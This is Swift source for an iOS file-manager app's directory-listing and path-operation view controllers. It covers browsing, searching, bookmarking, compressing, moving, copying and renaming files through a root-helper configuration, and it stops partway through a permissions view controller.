displayingSearchSuggestions: Bool = false /// the Directory Monitor, used to observe changes /// if the path is a directory var directoryMonitor: DirectoryMonitor? /// The Audio Player View Controller to display var audioPlayerController: AudioPlayerViewController? /// The label which displays that the user doesn't have permission to view a directory, /// or that the directory / group is empty /// (if those conditions apply) var permissionDeniedLabel: UILabel! /// Whether or not to display files beginning with a dot in their names var displayHiddenFiles: Bool = UserPreferences.displayHiddenFiles { didSet { reloadTableData() UserPreferences.displayHiddenFiles = self.displayHiddenFiles } } /// Whether or not the current path contains subpaths that are app UUIDs var containsAppUUIDs: Bool? var searchItem: DispatchWorkItem? typealias SnapshotType = NSDiffableDataSourceSnapshot typealias DataSourceType = UITableViewDiffableDataSource lazy var dataSource = DataSourceType(tableView: self.tableView) { tableView, indexPath, itemIdentifier in switch itemIdentifier { case .path(let url): return self.pathCellRow(forURL: url, displayFullPathAsSubtitle: self.isSearching || self.isBookmarksSheet) case .searchSuggestion(let suggestion): return self.searchSuggestionCellRow(suggestion: suggestion) } } /// Returns the PathListViewController for bookmarks paths class func bookmarks() -> PathListViewController { return PathListViewController( contents: Array(UserPreferences.bookmarks), title: "Bookmarks", isBookmarksSheet: true) } /// Initialize with a given path URL init(style: UITableView.Style = .userPreferred, path: Path, isBookmarksSheet: Bool = false) { self.unfilteredContents = self.sortMethod.sorting(URLs: path.contents, sortOrder: .userPreferred) self.currentPath = path self.isBookmarksSheet = isBookmarksSheet super.init(style: style) self.title = path.lastPathComponent } /// Initialize with the given specified URLs init(style: UITableView.Style = .userPreferred, contents: [Path], title: String, isBookmarksSheet: Bool = false) { self.unfilteredContents = self.sortMethod.sorting(URLs: contents, sortOrder: .userPreferred) self.isBookmarksSheet = isBookmarksSheet super.init(style: style) self.title = title } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { super.viewDidLoad() setRightBarButton() if !self.displayHiddenFiles { reloadTableData() } self.navigationController?.navigationBar.prefersLargeTitles = UserPreferences.useLargeNavigationTitles let searchController = UISearchController(searchResultsController: nil) searchController.searchBar.delegate = self searchController.obscuresBackgroundDuringPresentation = false searchController.searchResultsUpdater = self searchController.delegate = self self.tableView.keyboardDismissMode = .onDrag self.navigationItem.hidesSearchBarWhenScrolling = !UserPreferences.alwaysShowSearchBar if let currentPath = currentPath { searchController.searchBar.scopeButtonTitles = [currentPath.lastPathComponent, "Subdirectories"] self.containsAppUUIDs = currentPath.containsAppUUIDSubpaths setupRefreshControl(forPath: currentPath) } self.navigationItem.searchController = searchController #if compiler(>=5.7) if #available(iOS 16.0, *), UIDevice.isiPad { self.navigationItem.style = .browser self.navigationItem.renameDelegate = self } #endif tableView.dragInteractionEnabled = true tableView.dropDelegate = self tableView.dragDelegate = self tableView.dataSource = self.dataSource showPaths() setupPermissionDeniedLabelIfNeeded() } override func viewDidAppear(_ animated: Bool) { super.viewDidAppear(animated) // The code for setting up the directory monitor should stay in viewDidAppear // if used in viewDidLoad, it won't be monitoring if the user goes into a different directory // then comes back if let currentPath = self.currentPath { if directoryMonitor == nil { directoryMonitor = DirectoryMonitor(path: currentPath) directoryMonitor?.delegate = self } directoryMonitor?.startMonitoring() // set the last opened path here UserPreferences.lastOpenedPath = currentPath.path } } // scroll up or down keyboard shortcuts override var keyCommands: [UIKeyCommand]? { return [ UIKeyCommand(title: "Scroll Up", action: #selector(scrollUpOrDown(sender:)), input: UIKeyCommand.inputUpArrow, modifierFlags: .command), UIKeyCommand(title: "Scroll Down", action: #selector(scrollUpOrDown(sender:)), input: UIKeyCommand.inputDownArrow, modifierFlags: .command) ] } @objc func scrollUpOrDown(sender: UIKeyCommand) { switch sender.input { case UIKeyCommand.inputDownArrow: let snapshot = dataSource.snapshot() let indexPathToSrcollTo = IndexPath(row: snapshot.numberOfItems - 1, section: snapshot.numberOfSections - 1) tableView.scrollToRow(at: indexPathToSrcollTo, at: .bottom, animated: true) case UIKeyCommand.inputUpArrow: tableView.scrollToRow(at: IndexPath(row: 0, section: 0), at: .top, animated: true) default: break } } func setupRefreshControl(forPath path: Path) { let refreshControl = UIRefreshControl() let refreshAction = UIAction { [self] in unfilteredContents = sortMethod.sorting(URLs: path.contents, sortOrder: .userPreferred) reloadTableData() refreshControl.endRefreshing() } refreshControl.addAction(refreshAction, for: .primaryActionTriggered) tableView.refreshControl = refreshControl } /// Setup the snapshot to show the paths given func showPaths(animatingDifferences: Bool = false) { self.displayingSearchSuggestions = false var snapshot = SnapshotType() snapshot.appendSections([0]) snapshot.appendItems(SubPathsRowItem.fromPaths(contents)) dataSource.apply(snapshot, animatingDifferences: animatingDifferences) } /// Show the search suggestions func switchToSearchSuggestions() { displayingSearchSuggestions = true var snapshot = SnapshotType() snapshot.appendSections([0, 1, 2]) for indexPath in SearchSuggestion.searchSuggestionSectionAndRows { let item = SubPathsRowItem.searchSuggestion(.displaySearchSuggestions(for: indexPath)) snapshot.appendItems([item], toSection: indexPath.section) } dataSource.apply(snapshot, animatingDifferences: false) } func path(forIndexPath indexPath: IndexPath) -> Path { switch dataSource.itemIdentifier(for: indexPath) { case .path(let path): return path default: fatalError("NEVER SUPPOSED TO BE HERE!") } } override func viewWillDisappear(_ animated: Bool) { super.viewWillDisappear(animated) self.directoryMonitor?.stopMonitoring() } override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { if self.isEditing { selectedItems.append(path(forIndexPath: indexPath)) // PLACE 1 setupOrUpdateToolbar() setLeftBarSelectionButtonItem() return } if displayingSearchSuggestions { let searchTextField = self.navigationItem.searchController?.searchBar.searchTextField let tokensCount = searchTextField?.tokens.count if (indexPath.section, indexPath.row) == (0, 0) { // The user wants to filter by type, // prompt the viewController for doing so let vc = TypesSelectionCollectionViewController { types in // Make sure the user selected a type before we insert the search token if !types.isEmpty { var searchSuggestion = SearchSuggestion.displaySearchSuggestions(for: indexPath, typesToCheck: types) // Set the name to the types searchSuggestion.name = types.compactMap(\.localizedDescription).joined(separator: ", ") searchTextField?.insertToken(searchSuggestion.searchToken, at: tokensCount ?? 0) } } let navVC = UINavigationController(rootViewController: vc) self.present(navVC, animated: true) } else { searchTextField?.insertToken(SearchSuggestion.displaySearchSuggestions(for: indexPath).searchToken, at: tokensCount ?? 0) } } else { let selectedItem = path(forIndexPath: indexPath) // PLACE 2 goToPath(path: selectedItem) tableView.deselectRow(at: indexPath, animated: true) } } override func tableView(_ tableView: UITableView, didDeselectRowAt indexPath: IndexPath) { guard self.isEditing else { return } let selected = path(forIndexPath: indexPath) // PLACE 3 selectedItems.removeAll { path in path == selected } setupOrUpdateToolbar() setLeftBarSelectionButtonItem() } override func tableView(_ tableView: UITableView, trailingSwipeActionsConfigurationForRowAt indexPath: IndexPath) -> UISwipeActionsConfiguration? { guard !displayingSearchSuggestions else { return nil } let selectedItem = self.path(forIndexPath: indexPath) // PLACE 4 let itemAlreadyBookmarked = UserPreferences.bookmarks.contains(selectedItem) let favouriteAction = UIContextualAction(style: .normal, title: nil) { _, _, handler in self.removeOrAddItemToBookmarks(selectedItem, alreadyBookmarked: itemAlreadyBookmarked) handler(true) } favouriteAction.backgroundColor = .systemBlue favouriteAction.image = itemAlreadyBookmarked ? UIImage(systemName: "star.fill") : UIImage(systemName: "star") let deleteAction = UIContextualAction(style: .destructive, title: nil) { _, _, completion in self.deleteURL(selectedItem) { didSucceed in completion(didSucceed) } } deleteAction.image = UIImage(systemName: "trash") let config = UISwipeActionsConfiguration(actions: [deleteAction, favouriteAction]) return config } func removeOrAddItemToBookmarks(_ item: Path, alreadyBookmarked: Bool) { if alreadyBookmarked { UserPreferences.bookmarks.remove(item) // if we're in the bookmarks sheet, reload the table if self.isBookmarksSheet { self.unfilteredContents = Array(UserPreferences.bookmarks) var snapshot = self.dataSource.snapshot() snapshot.deleteItems([.path(item)]) self.dataSource.apply(snapshot) } } else { // otherwise, append it UserPreferences.bookmarks.insert(item) } } func makeSortMenu() -> UIMenu { let actions: [UIMenuElement] = PathsSortMethods.allCases.map { type in let typeIsSelected = self.sortMethod == type return UIAction( title: type.description, image: typeIsSelected ? UIImage(systemName: SortOrder.userPreferred.imageSymbolName) : nil, state: typeIsSelected ? .on : .off) { _ in // if the user selected the already selected type, // change the sort order if typeIsSelected { UserDefaults.standard.set(SortOrder.userPreferred.toggling().rawValue, forKey: "SortOrder") self.sortContents() } else { // otherwise change the sort method itself self.sortMethod = type } // Reload the right bar button menu after setting the type self.setRightBarButton() } } let menu = UIMenu(title: "Sort by..", image: UIImage(systemName: "arrow.up.arrow.down"), children: actions) if #available(iOS 15.0, *) { menu.subtitle = self.sortMethod.description } return menu } func makeNewItemMenu(forURL url: URL) -> UIMenu { let newFile = UIAction(title: "File", image: UIImage(systemName: "doc")) { _ in self.presentAlertAndCreate(type: .file, forURL: url) } let newFolder = UIAction(title: "Folder", image: UIImage(systemName: "folder")) { _ in self.presentAlertAndCreate(type: .directory, forURL: url) } return UIMenu(title: "New..", image: UIImage(systemName: "plus"), children: [newFile, newFolder]) } // A UIMenu containing different, common, locations to go to, as well as an option // to go to a specified URL func makeGoToMenu() -> UIMenu { var items: [UIMenuElement] = GoToItem.all.map { item in return UIAction(title: item.displayName, image: item.image) { _ in self.goToPath(path: Path(url: item.url)) } } let otherLocationAction = UIAction(title: "Other..") { _ in let alert = UIAlertController(title: "Other Location", message: "Type the URL of the other path you want to go to", preferredStyle: .alert) alert.addTextField { textfield in textfield.placeholder = "url.." } let goAction = UIAlertAction(title: "Go", style: .default) { _ in guard let text = alert.textFields?.first?.text, FileManager.default.fileExists(atPath: text) else { self.errorAlert("URL inputted must be valid and must exist", title: "Error") return } self.goToPath(path: Path(stringLiteral: text)) } alert.addAction(.cancel()) alert.addAction(goAction) alert.preferredAction = goAction self.present(alert, animated: true) } items.append(otherLocationAction) return UIMenu(title: "Go to..", image: UIImage(systemName: "arrow.right"), children: items) } func decompressPath(path: Path) { let alertController = createAlertWithSpinner(title: "Decompressing..") present(alertController, animated: true) DispatchQueue.global(qos: .userInitiated).async { var caughtError: Error? = nil do { // DON'T CHANGE THIS DESTINATION VAR. // why? because without it, you'd have a double directory // ie, unzipping Library.zip would create ./CurrentDirectory/Library/Library, // rather than the intended ./CurrentDirectory/Library/, let destination = path.deletingLastPathComponent() try Compression.shared.extract(path: path.url, to: destination.url) } catch { caughtError = error } DispatchQueue.main.async { alertController.dismiss(animated: true) if let caughtError = caughtError { self.errorAlert(caughtError, title: "Unable to decompress file \(path.lastPathComponent)") } } } } func compressPaths(paths: [Path], destination: URL, format: Compression.FormatType) { let alertController = createAlertWithSpinner(title: "Compressing..", heightAnchorConstant: 120) present(alertController, animated: true) DispatchQueue.global(qos: .userInitiated).async { var caughtError: Error? = nil do { try Compression.shared.compress(paths: paths.map(\.url), outputPath: destination, format: format) { pathBeingProcessed in DispatchQueue.main.async { alertController.message = "Compressing \(pathBeingProcessed.lastPathComponent)" } } } catch { caughtError = error } DispatchQueue.main.async { alertController.dismiss(animated: true) if let caughtError = caughtError { self.errorAlert(caughtError, title: "Unable to compress file(s).") } } } } func makeCompressionMenu(paths: [Path], destination: @escaping (Compression.FormatType) -> Path) -> UIMenu { let actions = Compression.FormatType.allCases.map { format in UIAction(title: format.description) { _ in self.compressPaths(paths: paths, destination: destination(format).url, format: format) } } return UIMenu(title: "Compress", image: UIImage(systemName: "archivebox"), children: actions) } func goToFile(path: Path) { if path.contentType?.isOfType(.archive) ?? false { decompressPath(path: path) } else if let preferred = FileEditor.preferred(forURL: path) { preferred.display(senderVC: self) // if it's the audio viewcontroller & the file URL is different than the current property audio controller // set the current audioVC property to it if let audioVC = preferred.viewController as? AudioPlayerViewController { // if music is already playing, then stop it self.audioPlayerController?.player.stop() // then set the current audio controller to the file tapped self.audioPlayerController = audioVC self.setupAudioToolbarIfPossible() } } else { openQuickLookPreview(forPath: path) } } func openQuickLookPreview(forPath path: Path) { let controller = QLPreviewController() let shared = FilePreviewDataSource(fileURL: path.url) controller.dataSource = shared self.present(controller, animated: true) } /// Opens a path in the UI func goToPath(path: Path) { // Make sure we're opening a directory, // or the parent directory of the file selected (if searching) // if we're going to a directory, go to the directory path if path.isDirectory { let parentDirectory = path.deletingLastPathComponent() // if the parent directory is the current directory or we're in the bookmarks sheet // simply push through the navigation controller // rather than traversing through each parent path if isBookmarksSheet || parentDirectory == self.currentPath { let vc = PathListViewController(path: path, isBookmarksSheet: self.isBookmarksSheet) self.navigationController?.pushViewController(vc, animated: true) } else { traverseThroughPath(path) } } else { self.goToFile(path: path) } } func traverseThroughPath(_ path: Path) { let vcs = path.url.fullPathComponents().map { PathListViewController(path: Path(url: $0), isBookmarksSheet: self.isBookmarksSheet) } self.navigationController?.setViewControllers(vcs, animated: true) } func sortContents() { self.unfilteredContents = sortMethod.sorting(URLs: unfilteredContents, sortOrder: .userPreferred) reloadTableData(animatingDifferences: true) } /// Opens the information bottom sheet for a specified path func openInfoBottomSheet(path: Path) { if let app = path.applicationItem { // if we can get the app info too, // present an action sheet to choose between either let actionSheet = UIAlertController(title: nil, message: nil, preferredStyle: .actionSheet) let pathInfoAction = UIAlertAction(title: "Path Info", style: .default) { _ in let navController = UINavigationController( rootViewController: PathInformationTableViewController(style: .insetGrouped, path: path) ) if #available(iOS 15.0, *) { navController.sheetPresentationController?.detents = [.medium(), .large()] } self.present(navController, animated: true) } let appInfoAction = UIAlertAction(title: "App Info", style: .default) { _ in let navController = UINavigationController( rootViewController: AppInfoViewController(style: .insetGrouped, app: app, subPathsSender: self) ) self.present(navController, animated: true) } actionSheet.addAction(appInfoAction) actionSheet.addAction(pathInfoAction) actionSheet.addAction(.init(title: "Cancel", style: .cancel)) actionSheet.popoverPresentationController?.sourceView = view let bounds = view.bounds actionSheet.popoverPresentationController?.sourceRect = CGRect(x: bounds.midX, y: bounds.midY, width: 0, height: 0) self.present(actionSheet, animated: true) } else { let navController = UINavigationController( rootViewController: PathInformationTableViewController(style: .insetGrouped, path: path) ) if #available(iOS 15.0, *) { navController.sheetPresentationController?.detents = [.medium(), .large()] } self.present(navController, animated: true) } } override func tableView(_ tableView: UITableView, accessoryButtonTappedForRowWith indexPath: IndexPath) { self.openInfoBottomSheet(path: path(forIndexPath: indexPath)) // PLACE 5 } /// Returns the cell row to be used for a search suggestion func searchSuggestionCellRow(suggestion: SearchSuggestion) -> UITableViewCell { let cell = UITableViewCell() var conf = cell.defaultContentConfiguration() conf.text = suggestion.name conf.image = suggestion.image cell.contentConfiguration = conf return cell } /// Returns the cell row to be used to display a path func pathCellRow( forURL fsItem: Path, displayFullPathAsSubtitle useSubtitle: Bool = false ) -> UITableViewCell { var fsItem = fsItem let pathName = fsItem.lastPathComponent let cell = UITableViewCell(style: useSubtitle ? .subtitle : .default, reuseIdentifier: nil) var cellConf = cell.defaultContentConfiguration() defer { cell.contentConfiguration = cellConf } // for performance, we check first for if the current path contains app UUIDs (if the pathExt isn't .app) // otherwise, if currentPath is nil, check for if the parent dir of the path contains app UUIDs // performance is worse if we *always* do the first, // but `containsAppUUIDs` isn't nil as long as `currentPath` isn't nil. if (fsItem.pathExtension == "app" || (containsAppUUIDs ?? fsItem.deletingLastPathComponent().containsAppUUIDSubpaths)), let app = fsItem.applicationItem { cellConf.text = app.localizedName() cellConf.image = ApplicationsManager.shared.icon(forApplication: app) cellConf.secondaryText = fsItem.lastPathComponent cell.accessoryType = .disclosureIndicator cellConf.textProperties.color = tableView.tintColor ?? .systemBlue return cell } cellConf.text = pathName // if the item name starts is a dotfile / dotdirectory // ie, .conf or .zshrc, // display the label as gray if pathName.first == "." { cellConf.textProperties.color = .gray cellConf.secondaryTextProperties.color = .gray } if useSubtitle { cellConf.secondaryText = fsItem.path // Display full path as the subtitle text if we should } cellConf.image = fsItem.displayImage if showInfoButton { cell.accessoryType = .detailDisclosureButton } else if fsItem.isDirectory { cell.accessoryType = .disclosureIndicator } return cell } override func tableView(_ tableView: UITableView, contextMenuConfigurationForRowAt indexPath: IndexPath, point: CGPoint) -> UIContextMenuConfiguration? { if displayingSearchSuggestions { return nil // No context menu for search suggestions } let item = path(forIndexPath: indexPath) // PLACE 6 return UIContextMenuConfiguration(identifier: nil) { // The following is the preview provider for the item // Being the cell row, but manually made for 2 reasons: // 1) Display the full path as a subtitle // 2) Rounded corners, which we wouldn't have if we returned previewProvider as `nil` let vc = UIViewController() vc.view = self.pathCellRow(forURL: item, displayFullPathAsSubtitle: true) vc.view.backgroundColor = .systemBackground let sizeFrame = vc.view.frame vc.preferredContentSize = CGSize(width: sizeFrame.width, height: sizeFrame.height) return vc } actionProvider: { _ in let movePath = UIAction(title: "Move to..", image: UIImage(systemName: "arrow.right")) { _ in self.presentOperationVC(forItems: [item.url], type: .move) } let copyPath = UIAction(title: "Copy to..", image: UIImage(systemName: "doc.on.doc")) { _ in self.presentOperationVC(forItems: [item.url], type: .copy) } let createSymlink = UIAction(title: "Create symbolic link to..", image: UIImage(systemName: "link")) { _ in self.presentOperationVC(forItems: [item.url], type: .symlink) } let pasteboardOptions = UIMenu(options: .displayInline, children: self.makePasteboardMenuElements(for: item)) let operationItemsMenu = UIMenu(options: .displayInline, children: [movePath, copyPath, createSymlink]) let informationAction = UIAction(title: "Info", image: UIImage(systemName: "info.circle")) { _ in self.openInfoBottomSheet(path: item) } let shareAction = UIAction(title: "Share", image: UIImage(systemName: "square.and.arrow.up")) { _ in self.presentActivityVC(forItems: [item.url]) } let renameAction = UIAction(title: "Rename", image: UIImage(systemName: "rectangle.and.pencil.and.ellipsis")) { _ in let alert = UIAlertController(title: "Rename", message: nil, preferredStyle: .alert) let renameAction = UIAlertAction(title: "Rename", style: .default) { _ in guard let name = alert.textFields?.first?.text else { return } do { let newPath: URL = item.deletingLastPathComponent().appendingPathComponent(name) try FSOperation.perform(.rename(item: item.url, newPath: newPath), rootHelperConf: RootConf.shared) } catch { self.errorAlert(error, title: "Unable to rename \(item.lastPathComponent)") } } alert.addTextField { textField in textField.text = item.lastPathComponent } alert.addAction(.cancel()) alert.addAction(renameAction) self.present(alert, animated: true) } var children: [UIMenuElement] = [informationAction, renameAction, shareAction] let compressOrDecompressAction: UIMenuElement if !(item.contentType?.isOfType(.archive) ?? false) { compressOrDecompressAction = self.makeCompressionMenu(paths: [item]) { format in return item.deletingPathExtension().appendingPathExtension(format.fileExtension) } } else { compressOrDecompressAction = UIAction(title: "Decompress", image: UIImage(systemName: "archivebox")) { _ in self.decompressPath(path: item) } } children.append(compressOrDecompressAction) // "Open App" option for apps if let app = item.applicationItem { let openAction = UIAction(title: "Open App") { _ in do { try ApplicationsManager.shared.openApp(app) } catch { self.errorAlert(error, title: "Unable to open app") } } children.append(openAction) } if !item.isDirectory { let allEditors = FileEditor.allEditors(forPath: item) var actions = allEditors.map { editor in UIAction(title: editor.type.description) { _ in editor.display(senderVC: self) } } // always have a QuickLook action let qlAction = UIAction(title: "QuickLook") { _ in self.openQuickLookPreview(forPath: item) } actions.append(qlAction) //TODO: - For insanely large files, this results in a crash, find a way around this. // maybe use a UIAlertController as an actionSheet? children.append(UIMenu(title: "Open in..", children: actions)) } if UIDevice.isiPad { let addActions = UserPreferences.pathGroups.enumerated().map { (index, group) in return UIAction(title: group.name) { _ in UserPreferences.pathGroups[index].paths.append(item.url) } } let addToPathGroupsMenu = UIMenu(title: "Add to group..", image: UIImage(systemName: "sidebar.leading"), children: addActions) children.append(addToPathGroupsMenu) } let deleteAction = UIAction(title: "Delete", image: UIImage(systemName: "trash"), attributes: .destructive) { _ in self.deleteURL(item) { _ in } } let isItemBookmarked = UserPreferences.bookmarks.contains(item) let bookmarkAction = UIAction( title: isItemBookmarked ? "Remove bookmark" : "Bookmark", image: UIImage(systemName: isItemBookmarked ? "bookmark.slash" : "bookmark") ) { _ in self.removeOrAddItemToBookmarks(item, alreadyBookmarked: isItemBookmarked) } children.append(contentsOf: [operationItemsMenu, pasteboardOptions]) children.append(UIMenu(options: .displayInline, children: [bookmarkAction, deleteAction])) return UIMenu(children: children) } } func makePasteboardMenuElements(for path: Path) -> [UIMenuElement] { let copyName = UIAction(title: "Copy name") { _ in UIPasteboard.general.string = path.lastPathComponent } let copyPath = UIAction(title: "Copy path") { _ in UIPasteboard.general.url = path.url UIPasteboard.general.string = path.path } return [copyName, copyPath] } func presentOperationVC(forItems items: [URL], type: PathSelectionOperation) { let vc = PathOperationViewController(paths: items, operationType: type) present(UINavigationController(rootViewController: vc), animated: true) { [self] in if let currentPath = currentPath, currentPath != .root { vc.goToPath(path: currentPath) } } } /// Returns the UIMenu to be used as the (primary) right bar button func makeRightBarButton() -> UIMenu { let selectAction = UIAction(title: "Select", image: UIImage(systemName: "checkmark.circle")) { _ in self.tableView.allowsMultipleSelectionDuringEditing = true self.setEditing(true, animated: true) } let selectionMenu = UIMenu(options: .displayInline, children: [selectAction]) var firstMenuItems = [selectionMenu, makeSortMenu(), makeGoToMenu()] if let currentPath = currentPath { firstMenuItems.append(makeNewItemMenu(forURL: currentPath.url)) } let firstMenu = UIMenu(options: .displayInline, children: firstMenuItems) var menuActions: [UIMenuElement] = [firstMenu] // if we're in the "Bookmarks" sheet, don't display the Bookmarks button if !isBookmarksSheet { let presentBookmarks = UIAction(title: "Bookmarks", image: UIImage(systemName: "bookmark")) { _ in let newVC = UINavigationController(rootViewController: PathListViewController.bookmarks()) self.present(newVC, animated: true) } menuActions.append(presentBookmarks) } if let currentPath = currentPath { let showInfoAction = UIAction(title: "Info", image: .init(systemName: "info.circle")) { _ in self.openInfoBottomSheet(path: currentPath) } menuActions.append(showInfoAction) let pasteAction = UIAction(title: "Paste") { _ in guard let probableURL = UIPasteboard.general.probableURL else { self.errorAlert(nil, title: "No path to paste.") return } do { try FSOperation.perform(.copyItem(items: [probableURL], resultPath: currentPath.url), rootHelperConf: RootConf.shared) } catch { self.errorAlert(error, title: "Failed to copy item to current directory.") } } menuActions.insert(UIMenu(options: .displayInline, children: [pasteAction]), at: 1) } let settingsAction = UIAction(title: "Settings", image: UIImage(systemName: "gear")) { _ in self.present(UINavigationController(rootViewController: SettingsTableViewController(style: .insetGrouped)), animated: true) } menuActions.append(settingsAction) let softRespringAction = UIAction(title: "Soft Respring", image: UIImage(systemName: "arrow.clockwise.circle")) { _ in respringFrontboard() } menuActions.append(softRespringAction) let respringAction = UIAction(title: "Respring", image: UIImage(systemName: "arrow.clockwise")) { _ in respringBackboard() } menuActions.append(respringAction) let showOrHideHiddenFilesAction = UIAction( title: "Display hidden files", state: displayHiddenFiles ? .on : .off ) { _ in self.displayHiddenFiles.toggle() self.setRightBarButton() } menuActions.append(showOrHideHiddenFilesAction) return UIMenu(children: menuActions) } func setRightBarButton() { if self.isEditing { let editAction = UIAction { self.setEditing(false, animated: true) } self.navigationItem.rightBarButtonItem = UIBarButtonItem( systemItem: .done, primaryAction: editAction ) } else { self.navigationItem.rightBarButtonItem = UIBarButtonItem( image: .init(systemName: "ellipsis.circle"), menu: makeRightBarButton() ) } } override func setEditing(_ editing: Bool, animated: Bool) { super.setEditing(editing, animated: animated) setRightBarButton() setLeftBarSelectionButtonItem() if editing { setupOrUpdateToolbar() } else { hideToolbarItems() selectedItems = [] } } /// Shows or hides dotfiles, /// this method is the primary way of reloading the view func reloadTableData(animatingDifferences: Bool = false) { if !displayHiddenFiles { let filtered = unfilteredContents.filter { !$0.lastPathComponent.starts(with: ".") } setFilteredContents(filtered, animatingDifferences: animatingDifferences) } else { setFilteredContents([], animatingDifferences: animatingDifferences) } } func setFilteredContents(_ newContents: [Path], animatingDifferences: Bool = false) { self.filteredSearchContents = newContents if !displayingSearchSuggestions { self.showPaths(animatingDifferences: animatingDifferences) } } func setupPermissionDeniedLabelIfNeeded() { guard let currentPath = currentPath, contents.isEmpty, !currentPath.isReadable else { return } permissionDeniedLabel = UILabel() permissionDeniedLabel.text = "Permission Denied." permissionDeniedLabel.font = .systemFont(ofSize: 20, weight: .medium) permissionDeniedLabel.textColor = .systemGray permissionDeniedLabel.textAlignment = .center view.addSubview(permissionDeniedLabel) permissionDeniedLabel.translatesAutoresizingMaskIntoConstraints = false NSLayoutConstraint.activate([ permissionDeniedLabel.centerXAnchor.constraint(equalTo: view.layoutMarginsGuide.centerXAnchor), permissionDeniedLabel.centerYAnchor.constraint(equalTo: view.layoutMarginsGuide.centerYAnchor) ]) } } extension PathListViewController: DirectoryMonitorDelegate { func directoryMonitorDidObserveChange(directoryMonitor: DirectoryMonitor) { DispatchQueue.main.async { let items = self.sortMethod.sorting(URLs: directoryMonitor.path.contents, sortOrder: .userPreferred) self.unfilteredContents = items self.reloadTableData(animatingDifferences: true) if self.isSearching, let searchBar = self.navigationItem.searchController?.searchBar { // If we're searching, // update the search bar self.updateResults(searchBar: searchBar) } } } } #if compiler(>=5.7) extension PathListViewController: UINavigationItemRenameDelegate { func navigationItem(_: UINavigationItem, didEndRenamingWith title: String) { guard let currentPath = currentPath else { return } let newURL: Path = currentPath.deletingLastPathComponent().appendingPathComponent(title) // new name is the exact same, don't continue renaming guard currentPath != newURL else { return } do { try FSOperation.perform(.moveItem(items: [currentPath.url], resultPath: newURL.url), rootHelperConf: RootConf.shared) self.currentPath = newURL } catch { self.errorAlert(error, title: "Uname to rename \(newURL.lastPathComponent)") // renaming automatically changes title // so we need to change back the title to the original // in case of a failure self.title = currentPath.lastPathComponent } } func navigationItemShouldBeginRenaming(_: UINavigationItem) -> Bool { return currentPath != nil } } #endif /// Represents an item which could be displayed in SubPathsTableViewController, /// being either a search suggestion or a path enum SubPathsRowItem: Hashable { static func == (lhs: SubPathsRowItem, rhs: SubPathsRowItem) -> Bool { switch (lhs, rhs) { case (.path(let firstURL), .path(let secondURL)): return firstURL == secondURL case (.searchSuggestion(let firstSuggestion), .searchSuggestion(let secondSuggestion)): return firstSuggestion == secondSuggestion default: return false } } func hash(into hasher: inout Hasher) { switch self { case .searchSuggestion(let searchSuggestion): hasher.combine(searchSuggestion) case .path(let url): hasher.combine(url) } } case searchSuggestion(SearchSuggestion) case path(Path) /// Return an array of items from an array of URLs static func fromPaths(_ paths: [Path]) -> [SubPathsRowItem] { return paths.map { url in return .path(url) } } } ================================================ FILE: Santander/UI/Path/PathOperationViewController.swift ================================================ // // PathOperationViewController.swift // Santander // // Created by Serena on 24/06/2022 // import UIKit import QuickLook /// A View Controller which presents a path to be selected, and then executes a specified operation, such as moving or copying the path class PathOperationViewController: PathListViewController { /// The paths being moved / copied / imported / etc. let paths: [URL] /// The type of the operation to perform let operationType: PathSelectionOperation let dismissWhenDone: Bool init(paths: [URL], operationType: PathSelectionOperation, startingPath: Path = .root, dismissWhenDone: Bool = true) { self.paths = paths self.operationType = operationType self.dismissWhenDone = dismissWhenDone super.init(path: startingPath) } required init?(coder: NSCoder) { fatalError("Not implemented") } override func viewDidLoad() { super.viewDidLoad() self.navigationController?.navigationBar.prefersLargeTitles = false self.title = self.operationType.verbDescription if let currentPath = self.currentPath { self.navigationItem.backBarButtonItem = UIBarButtonItem(title: currentPath.lastPathComponent, style: .plain, target: nil, action: nil) } for path in paths { _ = path.startAccessingSecurityScopedResource() } } @objc func done() { guard let currentPath = self.currentPath else { self.errorAlert("Unable to get current path to \(operationType.description) to, out!", title: "Can't \(operationType.description) path") return } do { switch operationType { case .move: try FSOperation.perform(.moveItem(items: paths, resultPath: currentPath.url), rootHelperConf: RootConf.shared) case .copy, .import: try FSOperation.perform(.copyItem(items: paths, resultPath: currentPath.url), rootHelperConf: RootConf.shared) case .symlink: try FSOperation.perform(.symlink(items: paths, resultPath: currentPath.url), rootHelperConf: RootConf.shared) case .custom(_, _, let action): try action(self, currentPath.url) } if dismissWhenDone { self.dismiss(animated: true) } } catch { self.errorAlert(error, title: "Unable to \(operationType.description) items") } } override func goToPath(path: Path) { let parentDirectory = path.deletingLastPathComponent() if parentDirectory != currentPath { traverseThroughPath(path) return } if path.isDirectory { self.navigationController?.pushViewController(PathOperationViewController(paths: paths, operationType: operationType, startingPath: path, dismissWhenDone: dismissWhenDone), animated: true) } else { self.goToFile(path: path) } } override func traverseThroughPath(_ path: Path) { let vcs = path.url.fullPathComponents().map { [self] newPath in PathOperationViewController(paths: paths, operationType: operationType, startingPath: Path(url: newPath), dismissWhenDone: dismissWhenDone) } self.navigationController?.setViewControllers(vcs, animated: true) } @objc func cancel() { self.dismiss(animated: true) } override func setRightBarButton() { let doneButton = UIBarButtonItem(barButtonSystemItem: .done, target: self, action: #selector(done)) let options = UIBarButtonItem(image: .init(systemName: "ellipsis.circle"), menu: makeRightBarButton()) self.navigationItem.rightBarButtonItems = [doneButton, options] } override func viewDidDisappear(_ animated: Bool) { super.viewDidDisappear(animated) for path in paths { // if we don't do this, we may result in a memory leak path.stopAccessingSecurityScopedResource() } } } enum PathSelectionOperation: CustomStringConvertible { /// To move the path case move /// To move the path case copy /// To import the path case `import` /// To create a symbolic link to the path case symlink /// Custom action case custom(description: String, verbDescription: String, action: (PathOperationViewController, URL) throws -> Void) var description: String { switch self { case .move: return "move" case .copy: return "copy" case .import: return "import" case .symlink: return "symlink" case .custom(description: let description, _, _): return description } } var verbDescription: String { switch self { case .move: return "Moving to.." case .copy: return "Copying to.." case .import: return "Importing to.." case .symlink: return "Aliasing to.." case .custom(_, verbDescription: let verbDescription, _): return verbDescription } } } ================================================ FILE: Santander/UI/Path/PathPermissionsViewController.swift ================================================ // // PathPermissionsViewController.swift // Santander // // Created by Serena on 05/08/2022. // import UIKit class PathPermissionsViewController: UITableViewController { var permissions: PathPermissions // in case setting the permissions fail, we need this clone to revert the original // back to this initial clone which doesn't get modified let _permissionsClone: PathPermissions lazy var editAction = UIAction { self.setEditing(!self.isEditing, animated: true) } init(style: UITableView.Style = .insetGrouped, permissions: PathPermissions) { self.permissions = permissions self._permissionsClone = permissions super.init(style: style) 